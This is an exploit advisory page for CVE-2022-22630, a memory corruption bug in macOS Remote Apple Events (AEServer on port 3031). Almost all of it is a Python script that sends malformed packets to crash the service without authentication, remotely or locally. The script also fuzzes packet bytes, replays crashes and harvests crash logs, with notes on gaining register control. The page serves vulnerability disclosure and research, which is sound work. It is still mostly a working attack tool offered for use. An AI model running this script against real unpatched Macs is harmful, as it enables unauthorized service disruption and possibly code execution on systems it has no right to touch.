Apple macOS Remote Events Memory Corruption

2022.09.06
Credit: Jeremy Brown
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/env python # -*- coding: UTF-8 -*- # # naval.py # # Apple macOS Remote Events Remote Memory Corruption Vulnerability # # Jeremy Brown [jbrown3264/gmail] # # ===== # Intro # ===== # # [eppc] Hello from AEServer # # Remote Apple Events is a core service and remote system administration and automation # tool for Macs. It can be enabled via System Preferences -> Sharing and listens on # port tcp/3031 and may be used in enterprise environments for remote administration. # Sending malformed packets triggers a crash in the AEServer binary which may allow for # arbitrary code execution on the remote machine within the context of the _eppc user. # However, the crash is subtle as the service is automatically restarted and only a log # in /Library/Logs/DiagnosticReports/AEServer_*.crash is generated if ReportCrash is enabled. # # Although a controlled, reliable crash at an arbitrary location is difficult, it was # eventually achieved during testing with repeated characters in packets during sessions. # # Thread 0 crashed with X86 Thread State (64-bit): # rax: 0x4242424242424242 rbx: 0x0000000000000006 rcx: 0x0000424242424240 rdx: 0x00000000000e6370 # rdi: 0x00007fb041c0ab40 rsi: 0x0000000103d3ba00 rbp: 0x00007ffeebef99f0 rsp: 0x00007ffeebef99b8 # r8: 0x0000000000000020 r9: 0x0000000000000002 r10: 0x00007fb041c00000 r11: 0x00007fb041c0e1c0 # r12: 0x000000000000000d r13: 0x00007fff8091afe0 r14: 0x00007fb041c251b0 r15: 0x00007fb041c25218 # rip: 0x00007fff202d541f rfl: 0x0000000000010202 cr2: 0x0000424242424260 # # While debugging it looks like the process is crashing when trying to release or # dereference memory that has been deallocated, likely a sign of a heap related bug # such as a use-after-free bug. # # This code serves as a toolkit to help debug and trigger crashes, but as mentioned # extensive testing was required to gain more precise control of rax/rcx. Also note # that authentication is not required to trigger crashes service locally or remotely. # # ======= # Details # ======= # # Much of the functionality depends on running this locally on the target box, such # as debugging with ReportCrash logs, but it can certainly trigger remote crashes too # if you pass the --remote flag (disables local debugging stuff). # # $ ./naval.py 10.0.0.12 --fuzz // use --original to fuzz with the non-crashing packets # .... # # $ head crashes.txt # 1 - (0x7e @ 1) -> 0x20 # [many more truncated] # # $ ./naval.py 10.0.0.12 --sleep --replay "1:7e:1" // pkt:byte:index # .... # # Then within 10 seconds, start the debugger on the local target.. GOGOGO # # $ sudo lldb -o "attach --name AEServer" -o c # .... # # (lldb) c # Process 50050 resuming # Process 50050 stopped # * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fd1d0e1bd8) # frame #0: 0x00007fff2028341f libobjc.A.dylib`objc_release + 31 # # And now you can explore the crash # # One can also check to see AEServer receving packets: # > dtrace -n 'syscall::*recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' | grep AEServer # # === # Fix # === # - Addressed in Monterey 12.3 # # CVE-2022-22630 # import os import sys import argparse import datetime import time import psutil import shutil import signal import socket import random import re REPORT_DIR = '/Library/Logs/DiagnosticReports' LOG_DIR = 'logs' PORT = 3031 # eppc CRASH_LOG = 'crashes' + str(datetime.datetime.now().strftime("%Y%m%d_%H%M%S")) + '.txt' REPORT_CRASH = True SLEEP_TIME = 10 MAX_BYTE = 255 # 0xff # # original packets # PKT_1_ORIG = b'PPCT\x00\x00\x00\x01\x00\x00\x00\x01' PKT_2_ORIG = b'\xe4LPRT\x01\xe1\x01\xe7\x06finder\xdf\xdb\xe3\x02\x01=\xdf\xdf\xdf\xdf\xd5\x00' PKT_3_ORIG = b'\xe4SREQ\xdf\xdf\xdf\xdf\xdf\x01\xe7\x06finder\xdf\xdb\xe5\x04B{\xbf\xac\xdf\xdf\xdf\xdf\xdf\xdf\xdf\xdf\xdc\xe5\x04test\xdf\xdd\x00' PKT_4_ORIG = b'\x16\x03\x01\x00\x92\x01\x00\x00\x8e\x03\x03\x61\x00\x8b\x66\x96\xc7\x08\xa2\xe8\x0e\x53\x13\xbd\xd3\x1c\x69\x12\x43\xd3\x03\xe2\xec\x8d\x61\x3d\x01\xed\x67\xd7\x62\xf8\xca\x00\x00\x2c\x00\xff\xc0\x2c\xc0\x2b\xc0\x24\xc0\x23\xc0\x0a\xc0\x09\xc0\x08\xc0\x30\xc0\x2f\xc0\x28\xc0\x27\xc0\x14\xc0\x13\xc0\x12\x00\x9d\x00\x9c\x00\x3d\x00\x3c\x00\x35\x00\x2f\x00\x0a\x01\x00\x00\x39\x00\x0a\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00\x0d\x00\x12\x00\x10\x04\x01\x02\x01\x05\x01\x06\x01\x04\x03\x02\x03\x05\x03\x06\x03\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\x12\x00\x00\x00\x17\x00\x00' PKT_5_ORIG = b'\x16\x03\x03\x00\x46\x10\x00\x00\x42\x41\x04\x8d\xd9\xbc\x5f\x9b\x0d\x86\x28\xda\x1f\xba\x75\xe3\x01\x06\x73\xf4\x28\xe2\xe5\x9b\x2e\xfc\x75\x0c\xad\x3d\x7d\xc8\x59\xc0\x20\xce\xcb\xdf\x87\x88\x09\x46\x1f\xf3\x97\x3f\xb8\xd1\xc8\xf5\x4b\xa9\x9f\xdc\xae\xba\x75\x50\xfa\x96\xd5\xcf\xa2\xa4\xec\x7b\x61' # # crashing packets # PKT_1 = b'PPCT\x00\x00\x00\x01\x00\x00\x00\x01' PKT_2 = b'\xe4LPRT\x01\xe1\x01\xe7\x06xxxyyy\xdf\xdb\xe3\x02\x01=\xdf\xdf\xdf\xdf\xd5\x00' # s/finder/xxxyyy class Naval(object): def __init__(self, args): self.host = args.host self.fuzz = args.fuzz self.replay = args.replay self.remote = args.remote self.reprofile = args.reprofile self.original = args.original self.sleep = args.sleep self.pkt1 = None self.pkt2 = None # original self.pkt3 = None self.pkt4 = None self.pkt5 = None self.pkt_pick = 0 self.pkt_num = None self.byte = None self.index = None self.logs = [] def run(self): if(self.remote): REPORT_CRASH = False else: REPORT_CRASH = True if(REPORT_CRASH): # # sudo launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist # if('ReportCrash' not in (proc.name() for proc in psutil.process_iter())): print("ReportCrash isn't running, make sure it's enabled first\n") return -1 if(os.path.isdir(REPORT_DIR)): try: logs = os.listdir(REPORT_DIR) except Exception as error: print("failed to list %s: %s\n" % (REPORT_DIR, error)) return -1 else: print("dir %s doesn't exist, can't fuzz and check for crashes\n" % REPORT_DIR) return -1 if(self.original): # non-crashing self.pkt1 = PKT_1_ORIG self.pkt2 = PKT_2_ORIG self.pkt3 = PKT_3_ORIG self.pkt4 = PKT_4_ORIG self.pkt5 = PKT_5_ORIG else: # crashing self.pkt1 = PKT_1 self.pkt2 = PKT_2 if(self.replay): if(len(self.replay.split(':')) != 3): print("invalid replay format: %s" % self.replay) return -1 replay = self.replay.split(':') try: self.pkt_num = int(replay[0]) except Exception as error: print("packet number %s is invalid: %s", (pkt_num, error)) return -1 try: self.byte = int(replay[1], 16) except Exception as error: print("byte %s is invalid: %s", (byte, error)) return -1 try: self.index = int(replay[2]) except Exception as error: print("index %s is invalid: %s", (index, error)) return -1 if(self.pkt_num == 1): pkt = self.modifyPacket(self.pkt1, self.byte, self.index) if(pkt == None): return -1 elif(self.pkt_num == 2): pkt = self.modifyPacket(self.pkt2, self.byte, self.index) if(pkt == None): return -1 else: print("pkt number must be 1 or 2") return -1 print("replaying packets\n") self.showRepro(pkt) if(self.reprofile): if(self.repro(self.reprofile) < 0): print("failed") return -1 return 0 # # fuzz each packet one after another # if(self.fuzz): print("fuzzing sequentially packet 1\n") self.pkt_num = 1 if(self.fuzzPacketSeq(self.pkt1) < 0): print("failed") return -1 print("fuzzing sequentially packet 2\n") self.pkt_num = 2 if(self.fuzzPacketSeq(self.pkt2) < 0): print("failed") return -1 if(self.original): self.pkt_num = 3 if(self.fuzzPacketSeq(self.pkt3) < 0): print("failed") return -1 self.pkt_num = 4 if(self.fuzzPacketSeq(self.pkt4) < 0): print("failed") return -1 self.pkt_num = 5 if(self.fuzzPacketSeq(self.pkt5) < 0): print("failed") return -1 else: if(not self.replay): if(self.original): print("sending original packets for testing\n") else: print("sending packets to trigger crash\n") self.showRepro([]) sock = self.getSock() if(sock == None): return -1 try: sock.connect((self.host, PORT)) except Exception as error: print("connect() failed: %s\n" % error) return -1 if(self.sleep): time.sleep(SLEEP_TIME) try: sock.send(self.pkt1) sock.recv(256) except Exception as error: print("failed to send/recv packet 1: %s\n" % error) return -1 try: sock.send(self.pkt2) except Exception as error: print("failed to send packet 2: %s\n" % error) return -1 if(self.original): try: sock.send(PKT_3_ORIG) except Exception as error: print("failed to send packet 3: %s\n" % error) return -1 try: sock.send(PKT_4_ORIG) except Exception as error: print("failed to send packet 4: %s\n" % error) return -1 try: sock.send(PKT_5_ORIG) except Exception as error: print("failed to send packet 5: %s\n" % error) return -1 sock.close() if(REPORT_CRASH): self.checkReports() print("done\n") return 0 def getSock(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) except Exception as error: print("socket() failed: %s\n" % error) return None return sock def fuzzPacketSeq(self, packet): c = 0 i = 0 # # flip each byte in the packet sequentially from 0 ... 255 # while(i < len(packet)): while(c <= MAX_BYTE): pkt = bytearray(packet) self.index = i self.byte = c orig = pkt[self.index] pkt[self.index] = self.byte print("pkt @ index=%d (%s -> %s)" % (self.index, hex(orig), hex(pkt[self.index]))) sock = self.getSock() if(sock == None): return -1 try: sock.connect((self.host, PORT)) except Exception as error: print("connect() failed: %s\n" % error) continue if(self.sendPacket(sock, pkt) < 0): print("sendPacket() failed\n") return -1 sock.close() self.showRepro(pkt) if(REPORT_CRASH): self.checkReports() c += 1 c = 0 i += 1 return 0 def createPacket(self, pkt_name): n = random.randint(8,4096) print("created \\x42 x %d for %s\n" % (n, pkt_name)) return str.encode('B' * n) def modifyPacket(self, pkt, byte, index): if((index < 0) or (index >= len(pkt))): print("index must be 0 - %d\n" % (len(pkt)-1)) return -1 pkt = pkt[:index] + bytes([byte]) + pkt[index + 1:] return pkt def sendPacket(self, sock, pkt): try: if(self.pkt_pick == 1): sock.send(pkt) else: sock.send(self.pkt1) sock.recv(256) except socket.timeout: print("timed out") except Exception as error: print("send/recv failed for packet #1: %s\n" % error) try: if(self.pkt_pick == 2): sock.send(pkt) else: sock.send(self.pkt2) if(self.original): sock.recv(256) # not necessary for crashing packets 1 & 2 except Exception as error: print("send/recv failed for packet #2: %s\n" % error) if(self.original): try: if(self.pkt_pick == 3): sock.send(pkt) else: pick = random.randint(1,2) # # pick=1 means self.pkt3 doesn't change # if(pick == 2): self.pkt3 = self.createPacket('pkt3') sock.send(self.pkt3) sock.recv(256) except Exception as error: print("send/recv failed for packet #3: %s\n" % error) try: if(self.pkt_pick == 4): sock.send(pkt) else: pick = random.randint(1,2) if(pick == 2): self.pkt4 = self.createPacket('pkt4') sock.send(self.pkt4) sock.recv(256) except Exception as error: print("send/recv failed for packet #4: %s\n" % error) try: if(self.pkt_pick == 5): sock.send(pkt) else: pick = random.randint(1,2) if(pick == 2): self.pkt5 = self.createPacket('pkt5') sock.send(self.pkt5) sock.recv(256) except Exception as error: print("send/recv failed for packet #5: %s\n" % error) return 0 def repro(self, filename): print("reproing crash with %s\n" % os.path.basename(filename)) try: with open(filename, 'r') as file: data = file.readlines() except Exception as error: print("failed to read file %s: %s" % (filename, error)) return -1 try: self.pkt1 = bytes.fromhex(data[0].replace('\\x', '')) self.pkt2 = bytes.fromhex(data[1].replace('\\x', '')) if(self.original): self.pkt3 = bytes.fromhex(data[2].replace('\\x', '')) self.pkt4 = bytes.fromhex(data[3].replace('\\x', '')) self.pkt5 = bytes.fromhex(data[4].replace('\\x', '')) except Exception as error: print("failed to parse repro: %s" % error) return -1 sock = self.getSock() if(sock == None): return -1 try: sock.connect((self.host, PORT)) except Exception as error: print("connect() failed: %s\n" % error) return -1 if(self.sleep): time.sleep(SLEEP_TIME) try: sock.send(self.pkt1) sock.recv(256) except socket.timeout: print("timed out") except Exception as error: print("send/recv failed for packet #1: %s\n" % error) try: sock.send(self.pkt2) if(self.original): sock.recv(256) # not necessary for crashing packets 1 & 2 except Exception as error: print("send/recv failed for packet #2: %s\n" % error) if(self.original): try: sock.send(self.pkt3) sock.recv(256) except Exception as error: print("send/recv failed for packet #3: %s\n" % error) try: sock.send(self.pkt4) sock.recv(256) except Exception as error: print("send/recv failed for packet #4: %s\n" % error) try: sock.send(self.pkt5) sock.recv(256) except Exception as error: print("send/recv failed for packet #5: %s\n" % error) sock.close() self.showRepro([]) if(REPORT_CRASH): self.checkReports() print("done\n") return 0 def getHex(self, data): return ''.join(f'\\x{byte:02x}' for byte in data) def printHex(self, data): print(''.join(f'\\x{byte:02x}' for byte in data)) def showRepro(self, pkt): if(len(pkt) == len(self.pkt1)): self.printHex(pkt) else: self.printHex(self.pkt1) if(len(pkt) == len(self.pkt2)): self.printHex(pkt) else: self.printHex(self.pkt2) if(self.original): if(len(pkt) == len(self.pkt3)): self.printHex(pkt) else: self.printHex(self.pkt3) if(len(pkt) == len(self.pkt4)): self.printHex(pkt) else: self.printHex(self.pkt4) if(len(pkt) == len(self.pkt5)): self.printHex(pkt) else: self.printHex(self.pkt5) print() # # restore original packets # self.pkt3 = PKT_3_ORIG self.pkt4 = PKT_4_ORIG self.pkt5 = PKT_5_ORIG def checkReports(self): time.sleep(2) # make sure ReportCrash has time to do its thing try: logs_now = os.listdir(REPORT_DIR) except Exception as error: print("failed to open %s for reading: %s\n" % (REPORT_DIR, error)) return -1 if(len(logs_now) > len(self.logs)): logs_new = list(set(logs_now) - set(self.logs)) # # if we have new crash logs, grab the pc and correlate it with repro # for log in logs_new: if(log.startswith('AEServer') and log.endswith('.crash')): log_file = REPORT_DIR + os.sep + log try: with open(log_file, 'r') as file: data = file.read() except Exception as error: print("failed to read %s: %s\n" % (log, error)) return -1 pc = re.search('0x(.*)', data) if(pc != None): pc = '0x' + pc.group(1).lstrip('0') else: print("couldn't get pc from crash log\n") print("found crash @ pc=%s\n" % pc) # # create a crash log if we're fuzzing or replaying bytes at indices # if(self.fuzz): crash_info = 'pkt #' + str(self.pkt_num) + ' - (byte=' + hex(self.byte) + ' @ index=' + str(self.index) + ') -> ' + pc + '\n' try: with open(CRASH_LOG, 'a') as file: file.write(crash_info) except Exception as error: print("failed to write %s: %s\n" % (crash_info, error)) return -1 if(not os.path.isdir(LOG_DIR)): try: os.mkdir(LOG_DIR) except Exception as error: print("failed to mkdir %s: %s\n" % (LOG_DIR, error)) log_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + str(self.byte) + '_' + str(self.index) + '_' + pc + '.txt' # # move crash log file # try: shutil.move(log_file, log_name) except Exception as error: print("failed to move %s: %s\n" % (log_file, error)) return -1 ips_file = REPORT_DIR + os.sep + log.split('.')[0] + '.ips' ips_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + str(self.byte) + '_' + str(self.index) + '_' + pc + '.txt' # # check if there's an associated .ips # if(os.path.isfile(ips_file)): try: # shutil.move(ips_file, LOG_DIR) shutil.move(ips_file, ips_name) except Exception as error: print("failed to move %s: %s\n" % (ips_file, error)) return -1 # # write repro if random fuzzing (no byte/index to replay) # # note: possible bug somewhere preventing pkt 3-5 from saving the correct repro, # (eg. if mutated with B's), so for now we're just extra verbose with output when # mutating packets and stop if pc contains 424242 so we can debug from there # repro_name = LOG_DIR + os.sep + os.path.basename(log_file) + '_' + pc + '_' + 'repro' + '.txt' try: with open(repro_name, 'w') as file: file.write(self.getHex(self.pkt1)) file.write('\n') file.write(self.getHex(self.pkt2)) if(self.original): file.write('\n') file.write(self.getHex(self.pkt3)) file.write('\n') file.write(self.getHex(self.pkt4)) file.write('\n') file.write(self.getHex(self.pkt5)) except Exception as error: print("failed to write %s: %s\n" % (repro_name, error)) return -1 # # temporary to help triage crashing packets # if('424242' in pc): self.showRepro([]) sys.exit(0) # # reset logs after move # try: self.logs = os.listdir(REPORT_DIR) except Exception as error: print("failed to list %s: %s\n" % (REPORT_DIR, error)) return -1 return 0 def stop(signum, frame): print() sys.exit(0) def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("host", type=str, help="target listening on eppc port 3031") parser.add_argument("--fuzz", "--fuzz", default=False, action="store_true", help="sequentially exhaust bytes in each packet and display crashing PC as available") parser.add_argument("--remote", "--remote", default=False, action="store_true", help="target remote hosts and turn disable local debugging support") parser.add_argument("--replay", "--replay", type=str, help="replay crash with the following format [pkt:byte:index], eg. 2:ff:3") parser.add_argument("--reprofile", "--reprofile", type=str, help="filename containing packet data on each line to replay (generated by random fuzzing)") parser.add_argument("--original", "--original", default=False, action="store_true", help="use the original non-crashing packets") parser.add_argument("--sleep", "--sleep", default=False, action="store_true", help="sleep helper for time to lldb attach after launchd creates the AEServer process upon connection (10 secs)") args = parser.parse_args() return args def main(): signal.signal(signal.SIGINT, stop) args = arg_parse() nr = Naval(args) result = nr.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top